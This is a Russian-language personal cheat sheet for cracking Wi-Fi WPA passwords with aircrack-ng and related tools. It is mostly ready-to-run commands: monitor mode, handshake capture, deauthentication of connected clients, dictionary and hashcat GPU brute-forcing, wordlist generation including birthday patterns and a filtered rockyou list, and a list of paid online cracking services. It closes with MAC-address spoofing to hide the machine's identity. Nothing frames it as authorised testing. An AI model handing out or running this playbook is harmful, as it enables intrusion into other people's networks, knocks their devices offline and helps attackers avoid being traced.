Aircrack-ng заметки

Шаг 1: Подготовка

Для начала, зайдите в систему под учетной записью root:

```
sudo -i
```

Copy

Затем, узнайте название своего сетевого интерфейса:

```
ifconfig -a
```

Copy

Чтобы избежать конфликтов с другими службами, отключите их:

```
airmon-ng check kill
```

Copy

Шаг 2: Включение режима мониторинга Включите режим мониторинга для своей сетевой карты wlan0:

```
airmon-ng start wlan0
```

Copy

Теперь у вас должен появиться новый интерфейс под названием wlan0mon. Вы можете проверить это с помощью команды:

```
ifconfig -a
```

Copy

Шаг 3: Выключение режима мониторинга Когда вам больше не нужен режим мониторинга, выключите его:

```
airmon-ng stop wlan0mon
```

Copy

Шаг 4: Просмотр сетей Теперь вы можете просматривать доступные сети Wi-Fi с помощью команды:

```
airodump-ng wlan0mon
```

Copy

Шаг 5: Получение хэндшейка Выберите нужную сеть и запишите ее MAC-адрес и канал. Затем запустите следующую команду, чтобы получить хэндшейк:

```
airodump-ng --bssid MAC -c CHANAL -w NAME INTERFACE
```

Например:

```
airodump-ng --bssid 00:00:00:00:00:00 -c 7 -w name wlan0mon
```

Copy

Шаг 6: "Выбивание" сидов (опционально) Если у вас есть достаточное количество пакетов(lol), вы можете попытаться вынудить переподключение клиента или всех подключенных устройств к роутеру. Вот несколько примеров команд:

Деаутентификация всех подключенных устройств к роутеру:

```
aireplay-ng --deauth 20 -a 00:00:00:00:00:00 wlan0mon
```

Copy

Деаутентификация одного клиента:

```
aireplay-ng -0 1 -a 00:00:00:00:00:00 -c 11:11:11:11:11:11 wlan1mon
```

Copy

Шаг 7: Проверка хэндшейка на валидность Используйте программу cowpatty для проверки хэндшейка на валидность. Запустите следующую команду:

```
cowpatty -r name.cap -c
```

Copy

Также можно проверить хэндшейк с помощью словаря. Вот несколько примеров команд:

```
aircrack-ng -w datehp.txt -e NAME NAME-01.cap
```

Copy

```
aircrack-ng -w datehp.txt -b 00:00:00:00:00:00 NAME-01.cap
```

Copy

Шаг 8: Подбор пароля с помощью hashcat (для графических процессоров) Если вы хотите использовать графический процессор для подбора пароля, можно воспользоваться программой hashcat. Например, чтобы проверить пароль, состоящий из 8 цифр, запустите следующую команду:

```
hashcat64.exe -m 2500 -a 3 1.hccapx ?d?d?d?d?d?d?d?d
```

Copy

Шаг 9: Создание словарей Если вам нужны словари для подбора паролей, вот несколько примеров их создания. Создание словаря с днями рождениями:

```
echo -e roma{01..31}{01..12}{1970..2000}"\n" > roma.txt
```

Copy

Создание словаря только с маленькими буквами:

```
echo -e {a..z}{a..z}{a..z}{a..z}{a..z}{a..z}{a..z}{a..z}"\n" > only_abc.txt
```

Copy

Адаптация словаря "rocky" для взлома Wi-Fi:

```
cp /usr/share/wordlists/rockyou.txt.gz
gunzip rockyou.txt.gz
cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt
wc -l newrockyou.txt
wc -l rockyou.txt
```

Шаг 10: Словари и сервисы

▸ **Посмотреть код**

Вместо брута, сервисы для простых паролей и не только:

бесплатные:

▸ **Посмотреть код**

платные:

```
http://psk.do.am
http://www.gpuhash.me/
https://www.cloudcracker.com
http://tools.question-defense.com/wpa-password-cracker/
http://airslax.com
http://xsrc.ru
http://www.hashkiller.co.uk/wpa-crack.aspx
https://decrypthash.ru/
```

Дыры в роутерах:

https://modemly.com/m1/pulse

Прикольная инфа по антенам:

http://www.lan23.ru/forum/showthread.php?t=10159&page=1

https://3g-aerial.biz/wi-fi-3g-4g-pushka-analiz-i-raschet

http://richadm.ru/wifi-antenny/samodelnaya-wifi-antenna-yagi/

Смена mac:

1й:

```
apt-get install macchanger
ifconfig wlan0 down
macchanger -r wlan0
ifconfig wlan0 up
```

2й:

```
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:56:CD:7A:70:0C
ifconfig wlan0 up
```

Чтобы конфигурация сохранилась после перезагрузки, прописываем нужную строчку в /etc/network/interfaces :

```
hwaddress ether 01:a2:33:04:d0:f1
```

Выполняем рестарт сети:

```
/etc/init.d/networking restart
```

3й автоматически рандомный при подключении wifi:

```
nano /etc/NetworkManager/NetworkManager.conf
```

добавить

```
[connection]
wifi.cloned-mac-address=random
```

перезагрузить сеть

```
sudo systemctl restart NetworkManager
```